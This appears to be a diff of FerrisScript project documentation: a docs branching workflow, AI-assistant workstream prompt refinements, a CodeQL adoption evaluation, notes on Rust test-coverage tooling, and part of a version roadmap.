-**Strategy:** Feature branches → Pull Requests → Main
-
-## Overview
-
-This document outlines the validated, non-duplicative documentation workflow for v0.0.2. Each phase includes validation steps to ensure accuracy and follows GitHub open source best practices.
-
-## Branching Strategy
-
-Following GitHub's open source contribution guidelines:
-
-```bash
-# Create feature branch for each documentation task
-git checkout -b feature/docs-<task-name>
-
-# Make changes, commit with clear messages
-git add <files>
-git commit -m "docs: <clear description of changes>"
-
-# Push to origin
-git push origin feature/docs-<task-name>
-
-# Create PR via GitHub UI
-# After review and approval, merge to main
-# Delete feature branch after merge
-```
-
-### Branch Naming Convention
-
-- `feature/docs-contributing` - CONTRIBUTING.md creation
-- `feature/docs-conduct` - CODE_OF_CONDUCT.md creation
-- `feature/docs-faq` - FAQ.md creation
-- `feature/docs-troubleshooting` - TROUBLESHOOTING.md creation
-- `feature/docs-templates` - Issue/PR template creation

-## Anti-Duplication Strategy
-
-### Single Source of Truth Matrix
-
-| Topic | Primary Location | References | Notes |
-|-------|-----------------|------------|-------|
-| Installation | README.md | FAQ links to README | High-traffic, keep in README |
-| Contributing | CONTRIBUTING.md | README links to it | Detailed process, separate file |
-| Code of Conduct | CODE_OF_CONDUCT.md | CONTRIBUTING & README link | Standard location |
-| Troubleshooting | TROUBLESHOOTING.md | FAQ links to specific sections | Separate for length |
-| Issue Reporting | CONTRIBUTING.md | Issue templates enforce | Process in CONTRIBUTING, templates enforce |
-| Godot Integration | README.md | TROUBLESHOOTING for errors | Quick start in README, detailed troubleshooting separate |
-
-### Rules
-
-1. **Never duplicate installation steps** - Always link to README
-2. **Never duplicate contribution process** - Always link to CONTRIBUTING.md
-3. **FAQ answers link to full docs** - Don't repeat detailed instructions
-4. **TROUBLESHOOTING is complementary to FAQ** - FAQ = quick Q&A, TROUBLESHOOTING = detailed fixes

-## 🎯 Key Principles
-
-1. **Use feature branches** - One branch per major task (e.g., `feature/docs-contributing`)
-2. **Validate everything** - Test installation, Godot integration, all examples
-3. **Avoid duplication** - Single source of truth for high-traffic docs
-4. **Link, don't repeat** - FAQ/TROUBLESHOOTING link to README, not duplicate
-5. **Follow best practices** - GitHub Open Source Guides, Contributor Covenant, Keep a Changelog

-# Workstream Execution Prompt - Recommended Enhancements
-
-**Based on**: Phase 1 Edge Case Tests execution (Oct 3, 2025)  
-**Context**: Successfully completed 15 tests in 3.5h (50% faster than estimated)  
-**Key Learning**: Small refinements can prevent time waste and improve quality
-
----
-
-## High-Priority Additions
-
-### 1. Pre-Flight Checks Section (NEW - Insert after "Your Mission")
-
-```markdown
-## 🔍 Pre-Flight Checks
-
-Before starting any work:
-
-1. **Verify Current Branch**: `git status` - on correct branch?
-2. **Check Recent History**: `git log --oneline -5` for context
-3. **Build Baseline**: Run build command to ensure clean start
-4. **Check for Manual Edits**: Context may show user edited files - ALWAYS read current contents
-5. **Review Uncommitted Changes**: Any stashed work or WIP?
-```
-
-**Why**: Prevents assumptions about file state, ensures clean starting point.
-
----
-
-### 2. Code Structure Discovery (ADD to "Context Discovery")
-
-```markdown
-### About Code Structure (Check FIRST!)
-
-**Before writing any code**:
-
-1. **Examine data structures**: What fields exist? (e.g., `Program.global_vars` not `.statements`)
-2. **Read existing tests**: Find 1-2 similar tests, copy their patterns
-3. **Note test location**: Inline `mod tests` or `tests/` directory?
-4. **Check test helpers**: Existing utilities, assertion macros?
-5. **Verify imports**: What modules/functions are available?
-
-**Action Template**:
-```rust
-// Step 1: Read struct definition
-// Step 2: Find existing test for reference
-// Step 3: Copy pattern, adapt to new test
-// Step 4: Verify field names match actual code
-```
-
-**Why**: Prevents wasting time with wrong field names, ensures tests follow project patterns.
-
----
-
-### 3. Execution Strategy Options (ADD to "Planning Phase")
-
-```markdown
-## 🔄 Choose Execution Strategy
-
-**Always propose ONE of these approaches and let user choose**:
-
-### Option A: Full Sequential (Large PR)
-- All phases in one branch → single large PR
-- **Use when**: Tightly coupled work, stable requirements
-- **Pros**: Complete solution, one review
-- **Cons**: Long review time, high risk
-
-### Option B: Phase-by-Phase (Medium PRs)
-- 1-2 phases per PR → multiple medium PRs  
-- **Use when**: Independent phases, want some feedback
-- **Pros**: Moderate PR size, incremental progress
-- **Cons**: Some context switching
-
-### Option C: Incremental Validation (Small PRs) ✅ **RECOMMENDED**
-- Smallest viable unit per PR (e.g., just tests for one category)
-- **Use when**: Want to validate approach, uncertain requirements
-- **Pros**: Fast feedback, low risk, easy review
-- **Cons**: More PRs to manage
-
-**Default to C unless user specifies otherwise.**
-```
-
-**Why**: Makes iteration strategy explicit, sets expectations for PR size and timing.
-
----
-
-### 4. Quality Checks Timing (ENHANCE existing section)
-
-```markdown
-## ⚙️ When to Run Quality Checks
-
-### During Development (Incremental)
-- ✅ After each file: `cargo build` (does it compile?)
-- ✅ After each test file: `cargo test --test <name>` (does THIS test pass?)
-- ✅ After major change: Run affected tests
-
-### Before Commit (Comprehensive)
-- ✅ `cargo test --workspace` - all tests
-- ✅ `cargo clippy --workspace --tests` - linting
-- ✅ `cargo fmt --all` - formatting
-- ✅ `npm run docs:lint` - markdown (if applicable)
-- ✅ `git status` - review all changed files
-- ✅ `git diff` - scan changes for unintended edits
-
-### After Push (User Responsibilities)
-⚠️ **Always mention to user**:
-- "You may need to run lint:fix or project-specific checks"
-- "Please verify link checking, cross-platform builds, etc."
-- "CI will validate on other platforms (Linux, macOS)"
-
-**Don't assume push = done!**
-```
-
-**Why**: You had to re-run lint:fix. I should have mentioned this explicitly.
-
----
-
-### 5. Manual Edit Detection (NEW - Insert in "Common Pitfalls")
-
-```markdown
-### 9. Not Checking for Manual Edits
-
-❌ **Bad**: Assume files match your last edit  
-✅ **Good**: Check context for "user made manual edits", always read current contents
-
-**Detection Pattern**:
-- Context shows: "Made manual edits to file.rs"
-- Action: ALWAYS `read_file` before making assumptions
-- Ask: "I see you edited [files]. Should I review changes first?"
-
-### 10. Wrong Data Structure Assumptions
-
-❌ **Bad**: Write tests based on documentation/assumptions  
-✅ **Good**: Read actual struct definition first, verify field names
-
-**Example**: 
-- Assumed: `Program.statements`
-- Actual: `Program.global_vars` and `Program.functions`
-- Solution: Read `ast.rs` before writing tests
-
-### 11. Not Mentioning Post-Push Checks
-
-❌ **Bad**: "All done! PR created. ✅"  
-✅ **Good**: "PR created. Note: You may need to run lint:fix, link checking, or other project-specific validations."
-```
-
-**Why**: These were actual pitfalls I encountered - make them explicit warnings.
-
----
-
-### 6. Summary Document Template (NEW - Add to "Deliverables")
-
-```markdown
-## 📄 Summary Document (Always Create)
-
-**File**: `docs/[area]/[WORKSTREAM]_SUMMARY.md`
-
-**Template**:
-```markdown
-# [Workstream Name] Summary
-

-# CodeQL Integration Evaluation
-
-**Date**: October 8, 2025  
-**Status**: Under Evaluation  
-**Decision**: Pending (see recommendation)
-
----
-
-## 🎯 Executive Summary
-
-This document evaluates integrating GitHub CodeQL into FerrisScript's CI/CD pipeline, analyzing effort, value, and overlap with existing tools (SonarQube, cargo clippy).
-
-### Key Findings
-
-- **Effort Estimate**: 2-4 hours (low effort)
-- **Value Proposition**: Medium (adds security-focused analysis, but overlaps with clippy)
-- **Overlap**: Moderate overlap with existing tools (clippy, SonarQube)
-- **Recommendation**: **Pilot for 1-2 sprints**, evaluate value vs. CI time cost
-
----
-
-## 🔍 What is CodeQL?
-
-**CodeQL** is GitHub's semantic code analysis engine that treats code as data, enabling queries to find security vulnerabilities and code quality issues.
-
-### Key Capabilities
-
-1. **Security Vulnerability Detection**:
-   - SQL injection, XSS, CSRF (for web languages)
-   - Buffer overflows, memory safety issues (for C/C++)
-   - Command injection, path traversal
-   - Cryptographic weaknesses
-
-2. **Code Quality Analysis**:
-   - Dead code detection
-   - Unused variables
-   - Complex control flow
-   - Potential null dereferences
-
-3. **Custom Query Language**:
-   - Write custom queries for project-specific patterns
-   - Share queries across teams
-   - Community query packs
-
-### Rust Support
-
-CodeQL has **improved Rust support** (as of October 2025):
-
-- Query support for Rust is now in beta, with coverage expanding beyond basic queries
-- Still limited compared to mature languages (C++, Java, JavaScript), but significant progress since 2024
-- GitHub continues to invest in Rust tooling, with regular updates
-- Community queries are maturing, though not yet as extensive as for other languages
-- Improving rapidly (GitHub investing in Rust tooling)
-- Community queries less mature than other languages
-
----
-
-## 🔧 Current CI/CD Landscape
-
-### Existing Tools
-
-| Tool | Purpose | Strengths | Rust Support |
-|------|---------|-----------|--------------|
-| **cargo clippy** | Linting & best practices | Rust-native, comprehensive rules, fast | ⭐⭐⭐⭐⭐ Native |
-| **SonarQube** | Code quality & security | Multi-language, technical debt tracking | ⭐⭐ Generic analysis |
-| **cargo test** | Functional correctness | Compile-time safety, runtime validation | ⭐⭐⭐⭐⭐ Native |
-| **cargo-tarpaulin** | Code coverage | Coverage metrics, trend tracking | ⭐⭐⭐⭐⭐ Native |
-
-### Coverage Areas
-
-#### Existing Coverage ✅
-
-- **Memory Safety**: Rust compiler (borrow checker, ownership)
-- **Type Safety**: Rust compiler (strong static typing)
-- **Best Practices**: cargo clippy (480+ lints)
-- **Code Smells**: SonarQube (duplication, complexity)
-- **Security Basics**: clippy (e.g., `clippy::suspicious`, `clippy::correctness`)
-- **Panics**: clippy (`clippy::panic`, `clippy::unwrap_used`)
-
-#### Potential Gaps (Where CodeQL Could Add Value)
-
-- **Cross-function taint analysis**: Tracking user input through multiple functions
-- **Advanced control flow analysis**: Complex state machines, race conditions
-- **Cryptographic misuse**: Weak algorithms, improper key handling
-- **Custom security patterns**: Project-specific vulnerability patterns
-- **Dependency vulnerability patterns**: Unsafe usage of external crates
-
----
-

-   - Set up custom queries (if needed)
-
-3. Test and iterate (30-60 min)
-   - Run workflow on test branch
-   - Review findings
-   - Tune false positives
-
-#### Ongoing Maintenance: **1-2 hours/month**
-
-- Review CodeQL findings (30 min/week)
-- Tune queries to reduce false positives (15 min/week)
-- Update query packs (quarterly, 30 min)
-- CI time budget management (monitor runtime)
-
-### CI Impact
-
-**Additional Runtime**: +5-10 minutes per workflow run
-
-- Initial analysis: ~8-10 minutes (first run)
-- Incremental analysis: ~5-7 minutes (cached)
-- Parallel execution: Runs alongside other jobs (no blocking)
-
-**Cost**: Minimal (CodeQL free for public repos)
-
----
-
-## 🔄 Overlap Analysis
-
-### Overlap with cargo clippy
-
-| Detection Area | clippy | CodeQL | Verdict |
-|----------------|--------|--------|---------|
-| Unused code | ✅ Yes | ✅ Yes | **Redundant** |
-| Panic paths | ✅ Yes | ⚠️ Limited | **clippy better** |
-| Memory safety | ✅ Yes (via compiler) | ⚠️ Experimental | **clippy better** |
-| API misuse | ✅ Yes | ⚠️ Limited | **clippy better** |
-| Security patterns | ⚠️ Basic | ✅ Advanced | **CodeQL adds value** |
-| Custom patterns | ⚠️ Hard (custom lints) | ✅ Easy (queries) | **CodeQL easier** |
-
-### Overlap with SonarQube
-
-| Detection Area | SonarQube | CodeQL | Verdict |
-|----------------|-----------|--------|---------|
-| Code smells | ✅ Yes | ⚠️ Limited | **SonarQube better** |
-| Complexity metrics | ✅ Yes | ❌ No | **SonarQube only** |
-| Security hotspots | ✅ Yes | ✅ Yes | **Similar** |
-| Vulnerability tracking | ✅ Yes | ✅ Yes | **Similar** |
-| Historical trends | ✅ Yes | ⚠️ Limited | **SonarQube better** |
-| Rust-specific rules | ❌ No | ⚠️ Experimental | **Neither strong** |
-
-### Unique Value Proposition
-
-**CodeQL adds value in**:
-
-1. **Taint Analysis**: Track user input through complex call chains
-2. **Custom Queries**: Easy to write project-specific security checks
-3. **GitHub Integration**: Native security alerts, Dependabot integration
-4. **Community Queries**: Leverage GitHub's security research team
-5. **Supply Chain Security**: Analyze dependencies for vulnerabilities
-
-**NOT adding value for**:
-
-1. Rust idiom enforcement (clippy better)
-2. Memory safety (Rust compiler better)
-3. Code quality metrics (SonarQube better)
-4. Coverage tracking (Codecov sufficient)
-
----
-
-## 💰 Value Proposition
-
-### High-Value Scenarios
-
-**CodeQL is valuable if**:
-
-- ✅ Project handles untrusted user input (web servers, parsers)
-- ✅ Project has complex data flow (compilers, interpreters)
-- ✅ Project uses cryptography or security-sensitive APIs
-- ✅ Team wants to write custom security queries
-- ✅ Project has 10+ external dependencies with security concerns
-
-**CodeQL is less valuable if**:
-
-- ❌ Project is simple library with no user input
-- ❌ CI runtime is a critical constraint (need fast pipelines)
-- ❌ Team has limited time to review findings
-- ❌ Rust compiler + clippy already catch 95% of issues
-
-### FerrisScript-Specific Assessment
-
-**Current State (v0.0.3)**:
-
-- Scripting language compiler (moderate complexity)
-- Parses user input (`.ferris` scripts)
-- No web exposure, no network I/O
-- Limited external dependencies (10-15 crates)
-- Strong Rust type safety already in place
-
-**Value Rating**: **Medium (3/5)**
-
-- **Pros**: Could catch complex parser edge cases, taint analysis for script input
-- **Cons**: Rust compiler + clippy already robust, CI time budget is tight
-- **Verdict**: Useful but not critical at this stage
-
----
-
-## 📋 Implementation Approach (If Proceeding)
-
-### Phase 1: Pilot (1 sprint)
-
-1. Add CodeQL workflow with basic configuration
-2. Run on `develop` branch only (not blocking PRs)
-3. Review findings weekly
-4. Document false positives and true positives
-
-### Phase 2: Evaluation (1 sprint)
-
-1. Measure CI impact (runtime, cost)
-2. Assess finding quality (true positive rate)
-3. Compare value vs. effort
-4. Decide: Keep, tune, or remove
-
-### Phase 3: Production (If valuable)
-
-1. Enable for PRs (non-blocking)
-2. Integrate with PR review process
-3. Write custom queries for FerrisScript patterns
-4. Enable security alerts
-
-### Sample Workflow Configuration
-
-```yaml
-name: CodeQL Analysis
-on:
-  push:
-    branches: [develop]  # Start with develop only
-  pull_request:
-    branches: [develop]
-  schedule:
-    - cron: '0 12 * * 1'  # Weekly scan
-
-jobs:
-  analyze:
-    name: Analyze Rust Code
-    runs-on: ubuntu-latest
-    permissions:
-      security-events: write
-      actions: read
-      contents: read
-
-    steps:
-      - name: Checkout code
-        uses: actions/checkout@v4
-
-      - name: Initialize CodeQL
-        uses: github/codeql-action/init@v3
-        with:
-          languages: rust
-          queries: security-extended  # Recommended query suite
-
-      - name: Build project
-        run: cargo build --workspace --all-features
-
-      - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@v3
-        with:
-          category: "rust-analysis"
-```
-
-**Runtime**: ~8 minutes first run, ~5 minutes cached
-
----
-
-## ✅ Recommendation
-
-### Short-Term (v0.0.3 - v0.0.4)
-
-**❌ Do NOT implement CodeQL yet**
-
-**Reasoning**:
-
-1. **Current tools sufficient**: clippy + SonarQube + Rust compiler cover 95% of issues
-2. **CI time budget**: Already running 4 workflows (ci.yml, code-scanning.yml, docs-lint.yml, benchmarks.yml)
-3. **Experimental Rust support**: CodeQL Rust support is improving but not mature
-4. **Focus on features**: v0.0.3-0.0.4 focused on language features, not infrastructure
-5. **ROI unclear**: No evidence of gaps in current security/quality coverage
-
-### Mid-Term (v0.1.0+)
-
-**✅ Re-evaluate CodeQL after v0.1.0**
-
-**Trigger Conditions**:
-
-1. Project handles network I/O or web APIs (higher security surface)
-2. External dependency count >20 (supply chain risk increases)
-3. Community contributions increase (need automated security review)
-4. CodeQL Rust support matures (check GitHub roadmap)
-5. CI time budget allows (+10 min per run acceptable)
-
-### Long-Term (v0.2.0+)
-
-**✅ Consider custom CodeQL queries for FerrisScript**
-
-**Use Cases**:
-
-- Detect unsafe script patterns (e.g., infinite loops in user scripts)
-- Analyze Godot API usage patterns
-- Track taint flow from script input to Godot engine calls
-- Enforce security policies (e.g., no file system access from scripts)
-
----
-
-## 📈 Success Metrics (If Implemented)
-
-### Quantitative
-
-- **True Positive Rate**: >60% of findings actionable
-- **False Positive Rate**: <30% of findings false alarms
-- **CI Impact**: <10 minutes additional runtime
-- **Coverage Increase**: +5% security vulnerability detection vs. current tools
-
-### Qualitative
-
-- Findings provide insights not available from clippy/SonarQube
-- Custom queries successfully catch FerrisScript-specific issues
-- Team finds value in reviewing CodeQL reports
-- GitHub security alerts reduce dependency vulnerabilities

-# Test Coverage Setup Notes
-
-## Executive Summary
-
-FerrisScript uses a **dual-tool coverage approach**:
-
-- **cargo-llvm-cov**: For local development (Windows, macOS, Linux)
-- **cargo-tarpaulin**: For CI/CD (Linux runners in GitHub Actions)
-
-This document provides technical background on why we use two tools and how they're configured.
-
----
-
-## Windows File Locking Issues with Tarpaulin
-
-**Date**: October 2, 2025  
-**Issue**: `cargo-tarpaulin` experiences file locking issues on Windows (OS error 32)  
-**Status**: ✅ Resolved by using llvm-cov for local development
-
-### Problem Description
-
-When running `cargo tarpaulin` on Windows, the tool encounters file locking errors:
-
-```
-Error: "Access is denied. (os error 5)" or "The process cannot access the file because it is being used by another process. (os error 32)"
-```
-
-**Root Cause**:
-
-Tarpaulin attempts to clean the build directory but encounters locked files held by:
-
-- **rust-analyzer** (VS Code extension) - actively indexing and checking code
-- **IDE processes** - file watchers, language servers
-- **Windows file system** - more aggressive file locking than Linux
-- **Background compilation** - parallel cargo processes
-
-### Investigation and Attempted Solutions
-
-| Approach | Command | Result | Notes |
-|----------|---------|--------|-------|
-| Default execution | `cargo tarpaulin --workspace` | ❌ Failed | Failed at cargo clean step |
-| Skip clean flag | `cargo tarpaulin --workspace --skip-clean` | ❌ Failed | Still hit file locks during test execution |
-| Close IDE | Close VS Code + `cargo tarpaulin` | ✅ Works | Too disruptive for workflow |
-| Kill processes | `Stop-Process rust-analyzer` + tarpaulin | ✅ Works | Inconvenient, IDE restart needed |
-| Use CI only | CI on Linux | ✅ Works | No local coverage feedback |
-| Switch to llvm-cov | `cargo llvm-cov` | ✅ Works | Best solution, no file locking issues |
-
----
-
-## Selected Solution: Dual-Tool Approach
-
-### Local Development: cargo-llvm-cov
-
-**Installation**:
-
-```powershell
-# Install LLVM tools component
-rustup component add llvm-tools-preview
-
-# Install cargo-llvm-cov
-cargo install cargo-llvm-cov
-
-# Verify installation
-cargo llvm-cov --version
-```
-
-**Usage**:
-
-```bash
-# HTML report (human-readable)
-cargo llvm-cov --workspace --html --output-dir target/coverage
-
-# LCOV report (tool integration)
-cargo llvm-cov --workspace --lcov --output-path target/coverage/lcov.info
-```
-
-**Advantages**:
-
-- ✅ **No file locking issues** on Windows
-- ✅ **Native Rust tooling** (uses LLVM built into rustc)
-- ✅ **Cross-platform** (Windows, macOS, Linux)
-- ✅ **Faster execution** (no need to rebuild with instrumentation)
-- ✅ **LCOV output** compatible with standard tools
-- ✅ **Active maintenance** by Rust project members
-
-**Disadvantages**:
-
-- ⚠️ Slightly different coverage algorithm than tarpaulin
-- ⚠️ May report different percentages (usually within 1-3%)
-
-### CI/CD: cargo-tarpaulin
-
-**GitHub Actions Configuration**:
-
-> **Note**: As of October 8, 2025, coverage reporting has been moved to `.github/workflows/code-scanning.yml` for consolidation with other code quality tools.
-
-```yaml
-# .github/workflows/code-scanning.yml
-codecov:
-  name: Code Coverage (Codecov)
-  runs-on: ubuntu-latest  # Linux - no file locking issues
-  steps:
-    - name: Install tarpaulin
-      run: cargo install cargo-tarpaulin
-    
-    - name: Generate coverage
-      run: cargo tarpaulin --workspace --out Xml --output-dir coverage
-    
-    - name: Upload to Codecov
-      uses: codecov/codecov-action@v4
-      with:
-        files: ./coverage/cobertura.xml
-```
-
-**Advantages**:
-
-- ✅ **Mature CI integration** with Codecov, Coveralls
-- ✅ **No Windows file locking** (runs on Linux)
-- ✅ **Cobertura XML output** for CI tools
-- ✅ **Well-established** in Rust ecosystem
-- ✅ **Consistent with tarpaulin.toml** configuration
-
-**Disadvantages**:
-
-- ❌ **Windows incompatible** (file locking issues)
-- ⚠️ Requires Linux environment
-- ⚠️ Slower execution (requires instrumentation rebuild)
-
----
-
-## Configuration Files
-
-### tarpaulin.toml
-
-Used by CI (tarpaulin on Linux):
-
-```toml
-[tool]
-out = ["Html", "Lcov", "Stdout"]
-output-dir = "target/coverage"
-workspace = true
-timeout = "5m"
-follow-exec = true
-count = true
-fail-under = 0  # Currently no enforcement
-
-[report]
-branches = true
-lines = true
-```
-
-**Purpose**: Configure tarpaulin behavior in CI for consistent coverage reports.
-
-**Note**: This file is **not used by llvm-cov**. Local coverage uses llvm-cov command-line flags instead.
-
-### Coverage Scripts
-
-**scripts/coverage.ps1** (PowerShell for Windows):
-
-```powershell
-# Auto-installs cargo-llvm-cov if needed
-# Generates HTML + LCOV reports
-# Outputs to target/coverage/
-```
-
-**scripts/coverage.sh** (Bash for Linux/macOS):
-
-```bash
-# Same functionality as PowerShell version
-# Cross-platform coverage script
-```
-
----
-
-## Coverage Report Formats
-
-### HTML Report
-
-- **Generated by**: Both llvm-cov and tarpaulin
-- **Location**: `target/coverage/html/index.html`
-- **Best for**: Human-readable, line-by-line visualization
-- **Contains**: File listings, coverage percentages, color-coded source
-
-### LCOV Report
-
-- **Generated by**: Both llvm-cov and tarpaulin
-- **Location**: `target/coverage/lcov.info`
-- **Best for**: Tool integration (VS Code extensions, CI systems)
-- **Format**: Standard LCOV tracefile format
-
-### Cobertura XML (CI only)
-
-- **Generated by**: tarpaulin (CI)
-- **Location**: `coverage/cobertura.xml`
-- **Best for**: Codecov, Coveralls, GitLab CI
-- **Contains**: Coverage metrics in XML format
-
----
-
-## Platform-Specific Considerations
-
-### Windows
-
-- **Use**: cargo-llvm-cov (via `scripts/coverage.ps1`)
-- **Avoid**: cargo-tarpaulin (file locking issues)
-- **IDE**: rust-analyzer compatible, no need to close VS Code
-
-### Linux
-
-- **Use**: cargo-llvm-cov locally, tarpaulin in CI
-- **Both tools work**: No file locking issues
-- **Preference**: llvm-cov for consistency with Windows devs
-
-### macOS
-
-- **Use**: cargo-llvm-cov (via `scripts/coverage.sh`)
-- **Works**: Both tools work, llvm-cov preferred for consistency
-
----
-
-## Troubleshooting
-
-### Issue: Different Coverage Percentages Between Tools
-
-**Symptom**: llvm-cov shows 82%, tarpaulin shows 80%
-
-**Explanation**:
-
-- Different coverage algorithms
-- Different handling of inlined functions
-- Different macro expansion tracking
-
-**Expected difference**: 1-3% is normal
-
-**Action**: If difference is >5%, investigate:
-
-1. Check both are running all tests: `cargo test --workspace`
-2. Verify both use `--workspace` flag
-3. Check for platform-specific `#[cfg]` code
-
-### Issue: "cargo-llvm-cov not found"
-
-**Solution**:
-
-```bash
-rustup component add llvm-tools-preview
-cargo install cargo-llvm-cov
-```
-
-Or use the provided scripts which auto-install.
-
-### Issue: Tarpaulin File Locking on Windows
-
-**Solution**: Don't use tarpaulin on Windows. Use llvm-cov instead.
-
-**Workaround** (if you must use tarpaulin):
-
-```powershell
-# Close all IDEs
-# Kill rust-analyzer
-Get-Process rust-analyzer -ErrorAction SilentlyContinue | Stop-Process
-
-# Run with skip-clean
-cargo tarpaulin --workspace --skip-clean
-```
-
-### Issue: Coverage Reports Not Generated
-
-**Check**:
-
-1. Output directory exists: `ls target/coverage/`
-2. Tests are running: `cargo test --workspace`
-3. Tool installed: `cargo llvm-cov --version`
-
-**Solution**:
-
-```bash
-# Clean and regenerate
-cargo llvm-cov clean
-cargo llvm-cov --workspace --html --output-dir target/coverage
-```
-
----
-
-## Implementation Timeline

-
----
-
-## Future Considerations
-
-### Potential Improvements
-
-1. **Unified tool**: If tarpaulin fixes Windows issues, consider standardizing
-2. **Coverage enforcement**: Gradually increase `fail-under` threshold
-3. **Differential coverage**: Only check coverage on changed lines in PRs
-4. **Coverage badges**: Add to README.md when Codecov is configured
-
-### Monitoring
-
-- Watch for tarpaulin Windows support improvements
-- Monitor llvm-cov feature development
-- Track coverage trends over time
-- Adjust thresholds based on project maturity

+# FerrisScript Master Roadmap
+
+**Single Source of Truth for Version Planning**  
+**Last Updated**: October 11, 2025  
+**Current Version**: v0.0.4 (Phases 1-5 complete, documentation polish remaining)
+
+---
+
+## 🎯 Mission
+
+Build a statically-typed, Rust-inspired scripting language for Godot with **compile-time safety** and **first-class editor support**.
+
+**Vision**: "Rust semantics, Godot rhythm" - Predictable performance, zero runtime surprises, excellent developer experience.
+
+---
+
+## 🎮 Positioning & Use Cases
+
+### What FerrisScript Is
+
+> **"Rust-powered, statically compiled, Godot-native scripting for deterministic, high-performance gameplay systems"**
+
+**Key Differentiators vs GDScript**:
+
+1. **Compile-Time Safety**: Catch errors before running Godot
+2. **Deterministic Execution**: Perfect for lockstep multiplayer and replays
+3. **Predictable Performance**: Zero-cost abstractions, no GC pauses
+4. **Systems Integration**: Access Rust crates and native libraries
+5. **CI-Friendly**: Compile and test without launching the editor
+
+### Target Use Cases
+
+| Use Case | Why FerrisScript | Example Games |
+|----------|------------------|---------------|
+| **Simulation-Heavy** | 1000+ agents, ECS-style updates | Factorio, RimWorld |
+| **Lockstep Multiplayer** | Deterministic execution required | Age of Empires, StarCraft II |
+| **AI/Behavior Systems** | Complex state machines, typed behaviors | Oxygen Not Included, Dwarf Fortress |
+| **Performance-Critical** | Physics, pathfinding, procedural generation | Noita, Enter the Gungeon |
+| **Testing & CI** | Compile-time validation, no editor | Any project needing reliability |
+
+### What FerrisScript Is NOT
+
+- ❌ Replacement for GDScript (use both together)
+- ❌ Low-level engine modification (use C++ for that)
+- ❌ Visual scripting alternative (use Godot's visual scripts)
+- ❌ Beginner-friendly first language (GDScript is better for learning)
+
+**Best Practice**: Use FerrisScript for performance-critical systems, GDScript for rapid prototyping and scene glue.
+
+---
+
+## 📍 Current State (v0.0.4)
+
+### What Works Today ✅
+
+- ✅ Core compiler (lexer, parser, type checker)
+- ✅ Godot GDExtension integration
+- ✅ Signal system (declaration, registration, emit) - **Phase 1 COMPLETE**

+
+**See**: `docs/planning/v0.0.5/LSP_ARCHITECTURE_SUPPORT.md` for detailed architecture
+
+#### v0.0.5 Consistency Checklist 🆕
+
+**Purpose**: Ensure all v0.0.5 planning documents align with master roadmap decisions.
+
+**Critical Decisions Made** (Option A for all):
+
+1. ✅ Ship v0.0.5 with compiler prerequisites (spans + symbol table) - adds 1 week
+2. ✅ Full LSP test integration in v0.0.5 - no deferral
+3. ✅ Add incremental compilation to v0.0.5 - adds 2-3 weeks
+
+**Updated Timeline**: 6-7 weeks (was 3-4 weeks, then 4-5 weeks)
+
+**Scope Consistency Checklist**:
+
+- [x] **CONSOLIDATED_TEST_FRAMEWORK_IMPLEMENTATION.md**:
+  - [x] Timeline updated to 6-7 weeks
+  - [x] Phase 0 added (Compiler Prerequisites: Spans, Symbol Table, Incremental Compilation)
+  - [x] Phase 2.5 includes test discovery API and result cache
+  - [x] Success criteria includes incremental compilation metrics
+  - [x] Dependencies section lists Phase 0 as blocking
+  - [x] Risk mitigation covers compiler refactoring and cache bugs
+
+- [x] **LSP_ARCHITECTURE_SUPPORT.md**: ✅ UPDATED
+  - [x] Verify incremental compilation architecture matches Phase 0.3
+  - [x] Confirm symbol table API matches Phase 0.2
+  - [x] Ensure span tracking matches Phase 0.1
+  - [x] Timeline reflects 6-7 weeks total (not just LSP-specific time)
+  - [x] Decision log documents Option A choices
+  - [x] Roadmap section updated with v0.0.5/v0.1.0 split
+
+- [ ] **ROADMAP_MASTER.md**: (This document)

+  - [x] Premium request estimate updated (13-18 → likely 20-25 with added scope)
+  - [ ] Phases 0-3 clearly documented
+  - [ ] Dependencies call out compiler prerequisites
+
+**Verification Steps**:
+
+1. **Before starting Phase 0**:
+   - [ ] All three documents agree on 6-7 week timeline
+   - [ ] Phase 0 tasks match across documents
+   - [ ] Compiler refactoring risks acknowledged
+
+2. **End of Week 3** (Decision Point):
+   - [ ] Phase 0 complete or on track
+   - [ ] Re-assess timeline if falling behind
+   - [ ] Consider de-scoping incremental compilation if critical
+
+3. **Before starting Phase 2.5** (Week 5):
+   - [ ] Compiler prerequisites (Phase 0) verified complete
+   - [ ] Symbol table API stable and tested
+   - [ ] Incremental compilation benchmarked

+---
+
+## 🎯 Strategic Priorities
+
+### 1. Editor Experience First
+
+**Decision**: LSP in v0.0.5 (not v0.2.0 as originally planned)
+
+**Rationale**:
+
+- Developers need great tooling to be productive
+- Editor support is adoption-critical
+- Differentiates FerrisScript from GDScript
+- Attracts Rust developers to Godot
+
+### 2. Smaller, Faster Releases
+
+**Decision**: Split v0.1.0 into v0.0.5-7 + v0.1.0 polish
+
+**Rationale**:
+
+- Shorter feedback cycles
+- Lower risk per release
+- Faster time to market
+- More opportunities to course-correct
+
+### 3. Solo Dev Optimization
+
+**Decision**: Default to small incremental PRs (workstream Option C)
+
+**Rationale**:
+
+- Easier to review alone
+- Clear phase boundaries
+- Lower risk per PR
+- Better for context switching
+
+### 4. Maximize Premium Requests
+
+**Decision**: Structure work into self-contained execution packages
+
+**Rationale**:
+
+- Each package completes in 1-2 premium requests
+- Clear acceptance criteria
+- Minimal dependencies
+- Testable independently
+
+---
+
+## � Future Versions (v0.2.0+)
+
+### v0.2.0: Extended Types + LSP Navigation + Script Validation
+
+**Goal**: Complete type system, navigation features, and runtime validation
+
+**Why This Matters**:
+
+- **Extended Types**: Enable large values, high-precision math, memory optimization
+- **LSP Navigation**: Jump to definitions, find references, workspace-wide search
+- **Script Validation**: Catch interface mismatches at load-time
+
+**Features**:
+
+1. **64-bit Numeric Types** (2-3 PRs)
+   - `i64` (signed 64-bit integer)
+   - `f64` (double-precision float)
+   - Use cases: timestamps, entity IDs, large coordinates, high-precision physics
+   - Godot compatibility (safe widening from i32→i64, f32→f64)
+
+2. **Smaller Integer Types** (2-3 PRs)
+   - `i16` (16-bit signed integer)
+   - `u8` (8-bit unsigned integer)
+   - `u16` (16-bit unsigned integer)
+   - Use cases: color channels (u8), tile coordinates (i16), compact state (u8)
+   - Overflow considerations (panic in debug, wrap in release)
+
+3. **Explicit Type Casting** (2-3 PRs)
+   - Cast syntax: `value as TargetType`
+   - Widening casts (always safe): `i32` → `i64`, `f32` → `f64`
+   - Narrowing casts (lossy): `i64` → `i32` (truncates), `f64` → `f32` (precision loss)
+   - Cross-family casts: `i32` → `f32` (may lose precision)
+   - Runtime checks for debug builds
+
